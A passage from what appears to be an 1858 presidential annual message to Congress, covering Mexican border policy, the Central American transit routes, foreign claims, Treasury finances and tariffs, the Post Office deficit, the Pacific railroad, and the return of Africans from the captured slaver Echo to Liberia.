restrain lawless\nMexicans from passing the border and committing depredations on our remote\nsettlers. A state of anarchy and violence prevails throughout that distant\nfrontier. The laws are a dead letter and life and property wholly insecure.\nFor this reason the settlement of Arizona is arrested, whilst it is of\ngreat importance that a chain of inhabitants should extend all along its\nsouthern border sufficient for their own protection and that of the United\nStates mail passing to and from California. Well-founded apprehensions are\nnow entertained that the Indians and wandering Mexicans, equally lawless,\nmay break up the important stage and postal communication recently\nestablished between our Atlantic and Pacific possessions. This passes very\nnear to the Mexican boundary throughout the whole length of Arizona. I can\nimagine no possible remedy for these evils and no mode of restoring law and\norder on that remote and unsettled frontier but for the Government of the\nUnited States to assume a temporary protectorate over the northern portions\nof Chihuahua and Sonora and to establish military posts within the same;\nand this I earnestly recommend to Congress. This protection may be\nwithdrawn as soon as local governments shall be established in these\nMexican States capable of performing their duties to the United States,\nrestraining the lawless, and preserving peace along the border.I do not doubt that this measure will be viewed in a friendly spirit by the\ngovernments and people of Chihuahua and Sonora, as it will prove equally\neffectual for the protection of their citizens on that remote and lawless\nfrontier as for citizens of the United States. And in this connection\npermit me to recall your attention to the condition of Arizona. The\npopulation of that Territory, numbering, as is alleged, more than 10,000\nsouls, are practically without a government, without laws, and without any\nregular administration of justice. Murder and other crimes are committed\nwith impunity. This state of things calls loudly for redress, and I\ntherefore repeat my recommendation for the establishment of a Territorial\ngovernment over Arizona.The political condition of the narrow isthmus of Central America, through\nwhich transit routes pass between the Atlantic and Pacific oceans, presents\na subject of deep interest to all commercial nations. It is over these\ntransits that a large proportion of the trade and travel between the\nEuropean and Asiatic continents is destined to pass. To the United States\nthese routes are of incalculable importance as a means of communication\nbetween their Atlantic and Pacific possessions. The latter now extend\nthroughout seventeen degrees of latitude on the Pacific coast, embracing\nthe important State of California and the flourishing territories of Oregon\nand Washington. All commercial nations therefore have a deep and direct\ninterest that these communications shall be rendered secure from\ninterruption. If an arm of the sea connecting the two oceans penetrated\nthrough Nicaragua and Costa Rica, it could not be pretended that these\nStates would have the right to arrest or retard its navigation to the\ninjury of other nations. The transit by land over this narrow isthmus\noccupies nearly the same position. It is a highway in which they themselves\nhave little interest when compared with the vast interests of the rest of\nthe world. Whilst their rights of sovereignty ought to be respected, it is\nthe duty of other nations to require that this important passage shall not\nbe interrupted by the civil wars and revolutionary outbreaks which have so\nfrequently occurred in that region. The stake is too important to be left\nat the mercy of rival companies claiming to hold conflicting contracts with\nNicaragua. The commerce of other nations is not to stand still and await\nthe adjustment of such petty controversies. The Government of the United\nStates expect no more than this, and they will not be satisfied with less.\nThey would not, if they could, derive any advantage from the Nicaragua\ntransit not common to the rest of the World. Its neutrality and protection\nfor the common use of all nations is their only object. They have no\nobjection that Nicaragua shall demand and receive a fair compensation from\nthe companies and individuals who may traverse the route, but they insist\nthat it shall never hereafter be closed by an arbitrary decree of that\nGovernment. If disputes arise between it and those with whom they may have\nentered into contracts, these must be adjusted by some fair tribunal\nprovided for the purpose, and the route must not be closed pending the\ncontroversy. This is our whole policy, and it can not fail to be acceptable\nto other nations.All these difficulties might be avoided if, consistently with the good\nfaith of Nicaragua, the use of this transit could be thrown open to general\ncompetition, providing at the same time for the payment of a reasonable\nrate to the Nicaraguan Government on passengers and freight. In August,\n1852, the Accessory Transit Company made its first interoceanic trip over\nthe Nicaraguan route, and continued in successful operation, with great\nadvantage to the public, until the 18th February, 1856, when it was closed\nand the grant to this company as well as its charter were summarily and\narbitrarily revoked by the Government of President Rivas. Previous to this\ndate, however, in 1854, serious disputes concerning the settlement of their\naccounts had arisen between the company and the Government, threatening the\ninterruption of the route at any moment. These the United States in vain\nendeavored to compose. It would be useless to narrate the various\nproceedings which took place between the parties up till the time when the\ntransit was discontinued. Suffice it to say that since February, 1856, it\nhas remained closed, greatly to the prejudice of citizens of the United\nStates. Since that time the competition has ceased between the rival routes\nof Panama and Nicaragua, and in consequence thereof an unjust and\nunreasonable amount has been exacted from our citizens for their passage to\nand from California.A treaty was signed on the 16th day of November, 1857, by the Secretary of\nState and minister of Nicaragua, under the stipulations of which the use\nand protection of the transit route would have been secured, not only to\nthe United States, but equally to all other nations. How and on what\npretext this treaty has failed to receive the ratification of the\nNicaraguan Government will appear by the papers herewith communicated from\nthe State Department. The principal objection seems to have been to the\nprovision authorizing the United States to employ force to keep the route\nopen in case Nicaragua should fail to perform her duty in this respect.\nFrom the feebleness of that Republic, its frequent changes of government,\nand its constant internal dissensions, this had become a most important\nstipulation, and one essentially necessary, not only for the security of\nthe route, but for the safety of American citizens passing and repassing to\nand from our Pacific possessions. Were such a stipulation embraced in a\ntreaty between the United States and Nicaragua, the knowledge of this fact\nwould of itself most probably prevent hostile parties from committing\naggressions on the route, and render our actual interference for its\nprotection unnecessary.The executive government of this country in its intercourse with foreign\nnations is limited to the employment of diplomacy alone. When this fails it\ncan proceed no further. It can not legitimately resort to force without the\ndirect authority of Congress, except in resisting and repelling hostile\nattacks. It would have no authority to enter the territories of Nicaragua\neven to prevent the destruction of the transit and protect the lives and\nproperty of our own citizens on their passage. It is true that on a sudden\nemergency of this character the President would direct any armed force in\nthe vicinity to march to their relief, but in doing this he would act upon\nhis own responsibility.Under these circumstances I earnestly recommend to Congress the passage of\nan act authorizing the president, under such restrictions as they may deem\nproper, to employ the land and naval forces of the United States in\npreventing the transit from being obstructed or closed by lawless violence,\nand in protecting the lives and property of American citizens traveling\nthereupon, requiring at the same time that these forces shall be withdrawn\nthe moment the danger shall have passed away. Without such a provision our\ncitizens will be constantly exposed to interruption in their progress and\nto lawless violence.A similar necessity exists for the passage of such an act for the\nprotection of the Panama and Tehuantepec routes. In reference to the Panama\nroute, the United States, by their existing treaty with New Granada,\nexpressly guarantee the neutrality of the Isthmus, \"with the view that the\nfree transit from the one to the other sea may not be interrupted or\nembarrassed in any future time while this treaty exists.\"In regard to the Tehuantepec route, which has been recently opened under\nthe most favorable auspices, our treaty with Mexico of the 30th December,\n1853, secures to the citizens of the United States a right of transit over\nit for their persons and merchandise and stipulates that neither Government\nshall \"interpose any obstacle\" thereto. It also concedes to the United\nStates the \"right to transport across the Isthmus, in closed bags, the\nmails of the United States not intended for distribution along the line of\nthe communication; also the effects of the United States Government and its\ncitizens which may be intended for transit and not for distribution on the\nIsthmus, free of custom-house or other charges by the Mexican Government.\"These treaty stipulations with New Granada and Mexico, in addition to the\nconsiderations applicable to the Nicaragua route, seem to require\nlegislation for the purpose of carrying them into effect.The injuries which have been inflicted upon our citizens in Costa Rica and\nNicaragua during the last two or three years have received the prompt\nattention of this Government. Some of these injuries were of the most\naggravated character. The transaction at Virgin Bay in April, 1856, when a\ncompany of unarmed Americans, who were in no way connected with any\nbelligerent conduct or party, were fired upon by the troops of Costa Rica\nand numbers of them killed and wounded, was brought to the knowledge of\nCongress by my predecessor soon after its occurrence, and was also\npresented to the Government of Costa Rica for that immediate investigation\nand redress which the nature of the case demanded. A similar course was\npursued with reference to other outrages in these countries, some of which\nwere hardly less aggravated in their character than the transaction at\nVirgin Bay. At the time, however, when our present minister to Nicaragua\nwas appointed, in December, 1857, no redress had been obtained for any of\nthese wrongs and no reply even had been received to the demands which had\nbeen made by this Government upon that of Costa Rica more than a year\nbefore. Our minister was instructed, therefore, to lose no time in\nexpressing to those Governments the deep regret with which the President\nhad witnessed this inattention to the just claims of the United States and\nin demanding their prompt and satisfactory adjustment. Unless this demand\nshall be complied with at an early day it will only remain for this\nGovernment to adopt such other measures as may be necessary in order to\nobtain for itself that justice which it has in vain attempted to secure by\npeaceful means from the Governments of Nicaragua and Costa Rica. While it\nhas shown, and will continue to show, the most sincere regard for the\nrights and honor of these Republics, it can not permit this regard to be\nmet by an utter neglect on their part of what is due to the Government and\ncitizens of the United States.Against New Granada we have long-standing causes of complaint, arising out\nof the unsatisfied claims of our citizens upon that Republic, and to these\nhave been more recently added the outrages committed upon our citizens at\nPanama in April, 1856. A treaty for the adjustment of these difficulties\nwas concluded by the Secretary of State and the minister of New Granada in\nSeptember, 1857, which contained just and acceptable provisions for that\npurpose. This treaty was transmitted to Bogota and was ratified by the\nGovernment of New Granada, but with certain amendments. It was not,\nhowever, returned to this city until after the close of the last session of\nthe Senate. It will be immediately transmitted to that body for their\nadvice and consent, and should this be obtained it will remove all our\nexisting causes of complaint against New Granada on the subject of claims.Questions have arisen between the two Governments as to the right of New\nGranada to levy a tonnage duty upon the vessels of the United States in its\nports of the Isthmus and to levy a passenger tax upon our citizens arriving\nin that country, whether with a design to remain there or to pass from\nocean to ocean by the transit route; and also a tax upon the mail of the\nUnited States transported over the Panama Railroad. The Government of New\nGranada has been informed that the United States would consider the\ncollection of either of these taxes as an act in violation of the treaty\nbetween the two countries, and as such would be resisted by the United\nStates. At the same time, we are prepared to discuss these questions in a\nspirit of amity and justice and with a sincere desire to adjust them in a\nsatisfactory manner. A negotiation for that purpose has already been\ncommenced. No effort has recently been made to collect these taxes nor is\nany anticipated under present circumstances.With the Empire of Brazil our relations are of the most friendly character.\nThe productions of the two countries, and especially those of an\nagricultural nature, are such as to invite extensive mutual exchanges. A\nlarge quantity of American flour is consumed in Brazil, whilst more than\ntreble the amount in value of Brazilian coffee is consumed in the United\nStates. Whilst this is the case, a heavy duty has been levied until very\nrecently upon the importation of American flour into Brazil. I am\ngratified, however, to be able to inform you that in September last this\nhas been reduced from $1.32 to about 49 cents per barrel, and the duties on\nother articles of our production have been diminished in nearly the same\nproportion.I regret to state that the Government of Brazil still continues to levy an\nexport duty of about 11 per cent on coffee, notwithstanding this article is\nadmitted free from duty in the United States. This is a heavy charge upon\nthe consumers of coffee in our country, as we purchase half of the entire\nsurplus crop of that article raised in Brazil. Our minister, under\ninstructions, will reiterate his efforts to have this export duty removed,\nand it is hoped that the enlightened Government of the Emperor will adopt\nthis wise, just, and equal policy. In that event, there is good reason to\nbelieve that the commerce between the two countries will greatly increase,\nmuch to the advantage of both. The claims of our citizens against the\nGovernment of Brazil are not in the aggregate of very large amount; but\nsome of these rest upon plain principles of justice and their settlement\nought not to be longer delayed. A renewed and earnest, and I trust a\nsuccessful, effort will be made by our minister to procure their final\nadjustment.On the 2d of June last Congress passed a joint resolution authorizing the\nPresident \"to adopt such measures and use such force as in his judgment may\nbe necessary and advisable\" \"for the purpose of the differences between\nthe United States and the Republic of Paraguay, in connection with the\nattack on the United States steamer Water Witch and with other measures\nreferred to\" in his annual message, and on the 12th of July following they\nmade an appropriation to defray the expenses and compensation of a\ncommissioner to that Republic should the President deem it proper to make\nsuch all appointment.In compliance with these enactments, I have appointed a commissioner, who\nhas proceeded to Paraguay with full powers and instructions to settle these\ndifferences in an amicable and peaceful manner if this be practicable. His\nexperience and discretion justify the hope that he may prove successful in\nconvincing the Paraguayan Government that it is due both to honor and\njustice that they should voluntarily and promptly make atonement for the\nwrongs which they have committed against the United States and indemnify\nour injured citizens whom they have forcibly despoiled of their property.Should our commissioner prove unsuccessful after a sincere and earnest\neffort to accomplish the object of his mission, then no alternative will\nremain but the employment of force to obtain \"just satisfaction\" from\nParaguay. In view of this contingency, the Secretary of the Navy, under my\ndirection, has fitted out and dispatched a naval force to rendezvous near\nBuenos Ayres, which, it is believed, will prove sufficient for the\noccasion. It is my earnest desire, however, that it may not be found\nnecessary to resort to this last alternative.When Congress met in December last the business of the country had just\nbeen crushed by one of those periodical revulsions which are the inevitable\nconsequence of our unsound and extravagant system of bank credits and\ninflated currency. With all the elements of national wealth in abundance,\nour manufactures were suspended, our useful public and private enterprises\nwere arrested, and thousands of laborers were deprived of employment and\nreduced to want. Universal distress prevailed among the commercial,\nmanufacturing, and mechanical classes. This revulsion was felt the more\nseverely in the United States because similar causes had produced the like\ndeplorable effects throughout the commercial nations of Europe. All were\nexperiencing sad reverses at the same moment. Our manufacturers everywhere\nsuffered severely, not because of the recent reduction in the tariff of\nduties on imports, but because there was no demand at any price for their\nproductions. The people were obliged to restrict themselves in their\npurchases to articles of prime necessity. In the general prostration of\nbusiness the iron manufacturers in different States probably suffered more\nthan any other class, and much destitution was the inevitable consequence\namong the great number of workmen who had been employed in this useful\nbranch of industry. There could be no supply where there was no demand. To\npresent an example, there could be no demand for railroad iron after our\nmagnificent system of railroads, extending its benefits to every portion of\nthe Union, had been brought to a dead pause. The same consequences have\nresulted from similar causes to many other branches of useful manufactures.\nIt is self-evident that where there is no ability to purchase manufactured\narticles these can not be sold, and consequently must cease to be\nproduced.No government, and especially a government of such limited powers as that\nof the United States, could have prevented the late revulsion. The whole\ncommercial world seemed for years to have been rushing to this catastrophe.\nThe same ruinous consequences would have followed in the United States\nwhether the duties upon foreign imports had remained as they were under the\ntariff of 1846 or had been raised to a much higher standard. The tariff of\n1857 had no agency in the result. The general causes existing throughout\nthe world could not have been controlled by the legislation of any\nparticular country.The periodical revulsions which have existed in our past history must\ncontinue to return at intervals so long as our present unbounded system of\nbank credits shall prevail. They will, however, probably be the less severe\nin future, because it is not to be expected, at least for many years to\ncome, that the commercial nations of Europe, with whose interests our own\nare so materially involved, will expose themselves to similar calamities.\nBut this subject was treated so much at large in my last annual message\nthat I shall not now pursue it further. Still, I respectfully renew the\nrecommendation in favor of the passage of a uniform bankrupt law applicable\nto banking institutions. This is all the direct power over the subject\nwhich I believe the Federal Government possesses. Such a law would\nmitigate, though it might not prevent, the evil. The instinct of\nself-preservation might produce a wholesome restraint upon their banking\nbusiness if they knew in advance that a suspension of specie payments would\ninevitably produce their civil death.But the effects of the revulsion are now slowly but surely passing away.\nThe energy and enterprise of our citizens, with our unbounded resources,\nwill within the period of another year restore a state of wholesome\nindustry and trade. Capital has again accumulated in our large cities. The\nrate of interest is there very low. Confidence is gradually reviving, and\nso soon as it is discovered that this capital can be profitably employed in\ncommercial and manufacturing enterprises and in the construction of\nrailroads and other works of public and private improvement prosperity will\nagain smile throughout the land. It is vain, however, to disguise the fact\nfrom ourselves that a speculative inflation of our currency without a\ncorresponding inflation in other countries whose manufactures come into\ncompetition with our own must ever produce disastrous results to our\ndomestic manufactures. No tariff short of absolute prohibition can prevent\nthese evil consequences. In connection with this subject it is proper to\nrefer to our financial condition. The same causes which have produced\npecuniary distress throughout the country have so reduced the amount of\nimports from foreign countries that the revenue has proved inadequate to\nmeet the necessary expenses of the Government. To supply the deficiency,\nCongress, by the act of December 23, 1857, authorized the issue of\n$20,000,000 of Treasury notes; and this proving inadequate, they\nauthorized, by the act of June 14, 1858, a loan of $20,000,000, to be\napplied to the payment of appropriations made by law.\"No statesman would advise that we should go on increasing the national debt\nto meet the ordinary expenses of the Government. This would be a most\nruinous policy. In case of war our credit must be our chief resource, at\nleast for the first year, and this would be greatly impaired by having\ncontracted a large debt in time of peace. It is our true policy to increase\nour revenue so as to equal our expenditures. It would be ruinous to\ncontinue to borrow. Besides, it may be proper to observe that the\nincidental protection thus afforded by a revenue tariff would at the\npresent moment to some extent increase the confidence of the manufacturing\ninterests and give a fresh impulse to our reviving business. To this surely\nno person will object.In regard to the mode of assessing and collecting duties under a strictly\nrevenue tariff, I have long entertained and often expressed the opinion\nthat sound policy requires this should be done by specific duties in cases\nto which these can be properly applied. They are well adapted to\ncommodities which are usually sold by weight or by measure, and which from\ntheir nature are of equal or of nearly equal value. Such, for example, are\nthe articles of iron of different classes, raw sugar, and foreign wines and\nspirits.In my deliberate judgment specific duties are the best, if not the only,\nmeans of securing the revenue against false and fraudulent invoices, and\nsuch has been the practice adopted for this purpose by other commercial\nnations. Besides, specific duties would afford to the American manufacturer\nthe incidental advantages to which he is fairly entitled under a revenue\ntariff. The present system is a sliding scale to his disadvantage. Under\nit, when prices are high and business prosperous, the duties rise in amount\nwhen he least requires their aid. On the contrary, when prices fall and he\nis struggling against adversity, the duties are diminished in the same\nproportion, greatly to his injury. Neither would there be danger that a\nhigher rate of duty than that intended by Congress could be levied in the\nform of specific duties. It would be easy to ascertain the average value of\nany imported article for a series of years, and, instead of subjecting it\nto an ad valorem duty at a certain rate per centum, to substitute in its\nplace an equivalent specific duty.By such an arrangement the consumer would not be injured. It is true he\nmight have to pay a little more duty on a given article in one year, but,\nif so, he would pay a little less in another, and in a series of years\nthese would counterbalance each other and amount to the same thing so far\nas his interest is concerned. This inconvenience would be trifling when\ncontrasted with the additional security thus afforded against frauds upon\nthe revenue, in which every consumer is directly interested.I have thrown out these suggestions as the fruit of my own observation, to\nwhich Congress, in their better judgment, will give such weight as they may\njustly deserve.The report of the Secretary of the Treasury will explain in detail the\noperations of that Department of the Government. The receipts into the\nTreasury from all sources during the fiscal year ending June 30, 1858,\nincluding the Treasury notes authorized by the act of December 23, 1857,\nwere $70,273,869.59, which amount, with the balance of $17,710,114.27\nremaining in the Treasury at the commencement of the year, made an\naggregate for the service of the year of $87,983,983.86.The public expenditures during the fiscal year ending June 30, 1858,\namounted to $81,585,667.76, of which $9,684,537.99 were applied to the\npayment of the public debt and the redemption of Treasury notes with the\ninterest thereon, leaving in the Treasury on July 1, 1858, being the\ncommencement of the present fiscal year, $6,398,316.10.The receipts into the Treasury during the first quarter of the present\nfiscal year, commencing the 1st of July, 1858, including one-half of the\nloan of $20,000,000, with the premium upon it, authorized by the act of\nJune 14, 1858, were $25,230,879.46, and the estimated receipts for the\nremaining three quarters to the 30th of June, 1859, from ordinary sources\nare $38,500,000, making, with the balance before stated, an aggregate of\n$70,129,195.56.The expenditures during the first quarter of the present fiscal year were\n$21,708,198.51, of which $1,010,142.37 were applied to the payment of the\npublic debt and the redemption of Treasury notes and the interest thereon.\nThe estimated expenditures during the remaining three quarters to June 30,\n1859, are $52,357,698.48, making an aggregate of $74,065,896.99, being an\nexcess of expenditure beyond the estimated receipts into the Treasury from\nordinary sources during the fiscal year to the 30th of June, 1859, of\n$3,936,701.43. Extraordinary means are placed by law within the command of\nthe Secretary of the Treasury, by the reissue of Treasury notes redeemed\nand by negotiating the balance of the loan authorized by the act of June\n14, 1858, to the extent of $11,000,000, which, if realized during the\npresent fiscal year, will leave a balance in the Treasury on the 1st day of\nJuly, 1859, of $7,063,298.57.The estimated receipts during the next fiscal year, ending June 30, 1860,\nare $62,000,000, which, with the above-estimated balance of $7,063,298.57\nmake an aggregate for the service of the next fiscal year of\n$69,063,298.57. The estimated expenditures during the next fiscal year,\nending June 30, 1860, are $73,139,147.46, which leaves a deficit of\nestimated means, compared with the estimated expenditures, for that year,\ncommencing on July 1, 1859, of $4,075,848.89.In addition to this sum the Postmaster-General will require from the\nTreasury for the service of the Post-Office Department $3,838,728, as\nexplained in the report of the Secretary of the Treasury, which will\nincrease the estimated deficit on June 30, 1860, to $7,914,576.89. To\nprovide for the payment of this estimated deficiency, which will be\nincreased by such appropriations as may be made by Congress not estimated\nfor in the report of the Treasury Department, as well as to provide for the\ngradual redemption from year to year of the outstanding Treasury notes, the\nSecretary of the Treasury recommends such a revision of the present tariff\nas will raise the required amount. After what I have already said I need\nscarcely add that I concur in the opinion expressed in his report--that the\npublic debt should not be increased by an additional loan--and would\ntherefore strongly urge upon Congress the duty of making at their present\nsession the necessary provision for meeting these liabilities.The public debt on July 1, 1858, the commencement of the present fiscal\nyear, was $25,155,977.66.During the first quarter of the present year the sum of $10,000,000 has\nbeen negotiated of the loan authorized by the act of June 14, 1858, making\nthe present outstanding public debt, exclusive of Treasury notes,\n$35,155,977.66. There was on the 1st of July, 1858, of Treasury notes\nissued by authority of the act of December 23, 1857, unredeemed, the sum of\n$19,754,800, making the amount of actual indebtedness at that date\n$54,910,777.66. To this will be added $10,000,000 during the present fiscal\nyear, this being the remaining half of the loan of $20,000,000 not yet\nnegotiated.The rapid increase of the public debt and the necessity which exists for a\nmodification of the tariff to meet even the ordinary expenses of the\nGovernment ought to admonish us all, in our respective spheres of duty, to\nthe practice of rigid economy. The objects of expenditure should be limited\nin number, as far as this may be practicable, and the appropriations\nnecessary to carry them into effect ought to be disbursed under the\nstrictest accountability. Enlightened economy does not consist in the\nrefusal to appropriate money for constitutional purposes essential to the\ndefense, progress, and prosperity of the Republic, but in taking care that\nnone of this money shall be wasted by mismanagement in its application to\nthe objects designated by law.Comparisons between the annual expenditure at the present time and what it\nwas ten or twenty years ago are altogether fallacious. The rapid increase\nof our country in extent and population renders a corresponding increase of\nexpenditure to some extent unavoidable. This is constantly creating new\nobjects of expenditure and augmenting the amount required for the old. The\ntrue questions, then, are, Have these objects been unnecessarily\nmultiplied, or has the amount expended upon any or all of them been larger\nthan comports with due economy? In accordance with these principles, the\nheads of the different Executive Departments of the Government have been\ninstructed to reduce their estimates for the next fiscal year to the lowest\nstandard consistent with the efficiency of the service, and this duty they\nhave performed in a spirit of just economy. The estimates of the Treasury,\nWar, Navy, and Interior Departments have each been in some degree reduced,\nand unless a sudden and unforeseen emergency should arise it is not\nanticipated that a deficiency will exist in either within the present or\nthe next fiscal year. The Post-Office Department is placed in a peculiar\nposition, different from the other Departments, and to this I shall\nhereafter refer.I invite Congress to institute a rigid scrutiny to ascertain whether the\nexpenses in all the Departments can not be still further reduced, and I\npromise them all the aid in my power in pursuing the investigation.I transmit herewith the reports made to me by the Secretaries of War, of\nthe Navy, of the Interior, and of the Postmaster-General. They each contain\nvaluable information and important recommendations, to which I invite the\nattention of Congress.In my last annual message I took occasion to recommend the immediate\nconstruction of ten small steamers of light draft, for the purpose of\nincreasing the efficiency of the Navy. Congress responded to the\nrecommendation by authorizing the construction of eight of them. The\nprogress which has been made in executing this authority is stated in the\nreport of the Secretary of the Navy. I concur with him in the opinion that\na greater number of this class of vessels is necessary for the purpose of\nprotecting in a more efficient manner the persons and property of American\ncitizens on the high seas and in foreign countries, as well as in guarding\nmore effectually our own coasts. I accordingly recommend the passage of an\nact for this purpose.The suggestions contained in the report of the Secretary of the Interior,\nespecially those in regard to the disposition of the public domain, the\npension and bounty-land system, the policy toward the Indians, and the\namendment of our patent laws, are worthy of the serious consideration of\nCongress.The Post-Office Department occupies a position very different from that of\nthe other Departments. For many years it was the policy of the Government\nto render this a self-sustaining Department; and if this can not now be\naccomplished, in the present condition of the country, we ought to make as\nnear an approach to it as may be practicable.The Postmaster-General is placed in a most embarrassing position by the\nexisting laws. He is obliged to carry these into effect. He has no other\nalternative. He finds, however, that this can not be done without heavy\ndemands upon the Treasury over and above what is received for postage, and\nthese have been progressively increasing from year to year until they\namounted for the last fiscal year, ending on the 30th of June, 1858, to\nmore than $4,500,000, whilst it is estimated that for the present fiscal\nyear they will amount to $6,290,000. These sums are exclusive of the annual\nappropriation of $700,000 for \"compensation for the mail service performed\nfor the two Houses of Congress and the other Departments and officers of\nthe Government in the transmission of free matter.\"The cause of these large deficits is mainly attributable to the increased\nexpense of transporting the mails. In 1852 the sum paid for this service\nwas but a fraction above four millions and a quarter. Since that year it\nhas annually increased, until in 1858 it has reached more than eight\nmillions and a quarter, and for the service of 1859 it is estimated that it\nwill amount to more than $10,000,000.The receipts of the Post-Office Department can be made to approach or to\nequal its expenditure only by means of the legislation of Congress. In\napplying any remedy care should be taken that the people shall not be\ndeprived of the advantages which they are fairly entitled to enjoy from the\nPost-Office Department. The principal remedies recommended to the\nconsideration of Congress by the Postmaster-General are to restore the\nformer rate of postage upon single letters to 5 cents; to substitute for\nthe franking privilege the delivery to those now entitled to enjoy it of\npost-office stamps for their correspondence, and to direct the Department\nin making contracts for the transportation of the mail to confine itself to\nthe payment of the sum necessary for this single purpose, without requiring\nit to be transported in post coaches or carriages of any particular\ndescription. Under the present system the expense to the Government is\ngreatly increased by requiring that the mail shall be carried in such\nvehicles as will accommodate passengers. This will be done, without pay\nfrom the Department, over all roads where the travel will remunerate the\ncontractors.These recommendations deserve the grave consideration of Congress. I would\nagain call your attention to the construction of a Pacific railroad. Time\nand reflection have but served to confirm me in the truth and justice of\nthe observations which I made on this subject in my last annual message, to\nwhich I beg leave respectfully to refer.It is freely admitted that it would be inexpedient for this Government to\nexercise the power of constructing the Pacific railroad by its own\nimmediate agents. Such a policy would increase the patronage of the\nExecutive to a dangerous extent, and introduce a system of jobbing and\ncorruption which no vigilance on the part of Federal officials could either\nprevent or detect. This can only be done by the keen eye and active and\ncareful supervision of individual and private interest. The construction of\nthis road ought therefore to be committed to companies incorporated by the\nStates or other agencies whose pecuniary interests would be directly\ninvolved. Congress might then assist them in the work by grants of land or\nof money, or both, under such conditions and restrictions as would secure\nthe transportation of troops and munitions of war free from any charge and\nthat of the United States mail at a fair and reasonable price.The progress of events since the commencement of your last session has\nshown how soon difficulties disappear before a firm and determined\nresolution. At that time such a road was deemed by wise and patriotic men\nto be a visionary project. The great distance to be overcome and the\nintervening mountains and deserts in the way were obstacles which, in the\nopinion of many, could not be surmounted. Now, after the lapse of but a\nsingle year, these obstacles, it has been discovered, are far less\nformidable than they were supposed to be, and mail stages with passengers\nnow pass and repass regularly twice in each week, by a common wagon road,\nbetween San Francisco and St. Louis and Memphis in less than twenty-five\ndays. The service has been as regularly performed as it was in former years\nbetween New York and this city.Whilst disclaiming all authority to appropriate money for the construction\nof this road, except that derived from the war-making power of the\nConstitution, there are important collateral considerations urging us to\nundertake the work as speedily as possible. The first and most momentous of\nthese is that such a road would be a powerful bond of union between the\nStates east and west of the Rocky Mountains. This is so self-evident as to\nrequire no illustration.But again, in a commercial point of view, I consider this the great\nquestion of the day. With the eastern front of our Republic stretching\nalong the Atlantic and its western front along the Pacific, if all the\nparts should be united by a safe, easy, and rapid intercommunication we\nmust necessarily command a very large proportion of the trade both of\nEurope and Asia. Our recent treaties with China and Japan will open these\nrich and populous Empires to our commerce; and the history of the world\nproves that the nation which has gained possession of the trade with\neastern Asia has always become wealthy and powerful. The peculiar\ngeographical position of California and our Pacific possessions invites\nAmerican capital and enterprise into this fruitful field. To reap the rich\nharvest, however, it is an indispensable prerequisite that we shall first\nhave a railroad to convey and circulate its products throughout every\nportion of the Union. Besides, such a railroad through our temperate\nlatitude, which would not be impeded by the frosts and snows of winter nor\nby the tropical heats of summer, would attract to itself much of the travel\nand the trade of all nations passing between Europe and Asia.On the 21st of August last Lieutenant J. N. Maffit, of the United States\nbrig Dolphin, captured the slaver Echo (formerly the Putnam, of New\nOrleans) near Kay Verde, on the coast of Cuba, with more than 300 African\nnegroes on board. The prize, under the command of Lieutenant Bradford, of\nthe United States Navy, arrived at Charleston on the 27th August, when the\nnegroes, 306 in number, were delivered into the custody of the United\nStates marshal for the district of South Carolina. They were first placed\nin Castle Pinckney, and afterwards in Fort Sumter, for safe-keeping, and\nwere detained there until the 19th September, when the survivors, 271 in\nnumber, were delivered on board the United States steamer Niagara to be\ntransported to the coast of Africa under the charge of the agent of the\nUnited States, pursuant to the provisions of the act of the 3d March, 1819,\n\"in addition to the acts prohibiting the slave trade.\" Under the second\nsection of this act the President is \"authorized to make such regulations\nand arrangements as he may deem expedient for the safe-keeping, support,\nand removal beyond the limits of the United States of all such negroes,\nmulattoes, or persons of color\" captured by vessels of the United States as\nmay be delivered to the marshal of the district into which they are\nbrought, \"and to appoint a proper person or persons residing upon the coast\nof Africa as agent or agents for receiving the negroes, mulattoes, or\npersons of color delivered from on board vessels seized in the prosecution\nof the slave trade by commanders of United States armed vessels.\"A doubt immediately arose as to the true construction of this act. It is\nquite clear from its terms that the President was authorized to provide\n\"for the safe-keeping, support, and removal\" of these negroes up till the\ntime of their delivery to the agent on the coast of Africa, but no express\nprovision was made for their protection and support after they had reached\nthe place of their destination. Still, an agent was to be pointed to\nreceive them in Africa, and it could not have been supposed that Congress\nintended he should desert them at the moment they were received and turn\nthem loose on that inhospitable coast to perish for want of food or to\nbecome again the victims of the slave trade. Had this been the intention of\nCongress, the employment of an agent to receive them, who is required to\nreside on the coast, was unnecessary, and they might have been landed by\nour vessels anywhere in Africa and left exposed to the sufferings and the\nfate which would certainly await them.Mr. Monroe, in his special message of December 17, 1819, at the first\nsession after the act was passed, announced to Congress what in his opinion\nwas its true construction. He believed it to be his duty under it to follow\nthese unfortunates into Africa and make provision for them there until they\nshould be able to provide for themselves. In communicating this\ninterpretation of the act to Congress he stated that some doubt had been\nentertained as to its true intent and meaning, and he submitted the\nquestion to them so that they might, \"should it be deemed advisable, amend\nthe same before further proceedings are had under it.\" Nothing was done by\nCongress to explain the act, and Mr. Monroe proceeded to carry it into\nexecution according to his own interpretation. This, then, became the\npractical construction. When the Africans from on board the Echo were\ndelivered to the marshal at Charleston, it became my duty to consider what\ndisposition ought to be made of them under the law. For many reasons it was\nexpedient to remove them from that locality as speedily as possible.\nAlthough the conduct of the authorities and citizens of Charleston in\ngiving countenance to the execution of the law was just what might have\nbeen expected from their high character, yet a prolonged continuance of 300\nAfricans in the immediate vicinity of that city could not have failed to\nbecome a source of inconvenience and anxiety to its inhabitants. Where to\nsend them was the question. There was no portion of the coast of Africa to\nwhich they could be removed with any regard to humanity except to Liberia.\nUnder these circumstances an agreement was entered into with the\nColonization Society on the 7th of September last, a copy of which is\nherewith transmitted, under which the society engaged, for the\nconsideration of $45,000, to receive these Africans in Liberia from the\nagent of the United States and furnish them during the period of one year\nthereafter with comfortable shelter, clothing, provisions, and medical\nattendance, causing the children to receive schooling, and all, whether\nchildren or adults, to be instructed in the arts of civilized life suitable\nto their condition. This aggregate of $45,000 was based upon an allowance\nof $150 for each individual; and as there has been considerable mortality\namong them and may be more before they reach Africa, the society have\nagreed, in an equitable spirit, to make such a deduction from the amount as\nunder the circumstances may appear just and reasonable. This can not be\nfixed until we shall ascertain the actual number which may become a charge\nto the society. It was also distinctly agreed that under no circumstances\nshall this Government be called upon for any additional expenses. The\nagents of the society manifested a laudable desire to conform to the wishes\nof the Government throughout the transaction. They assured me that after a\ncareful calculation they would be required to expend the sum of $150 on\neach individual in complying with the agreement, and they would have\nnothing left to remunerate them for their care, trouble, and\nresponsibility. At all events, I could make no better arrangement, and\nthere was no other alternative. During the period when the Government\nitself, through its own agents, undertook the task of providing for\ncaptured negroes in Africa the cost per head was very much greater.There having been no outstanding appropriation 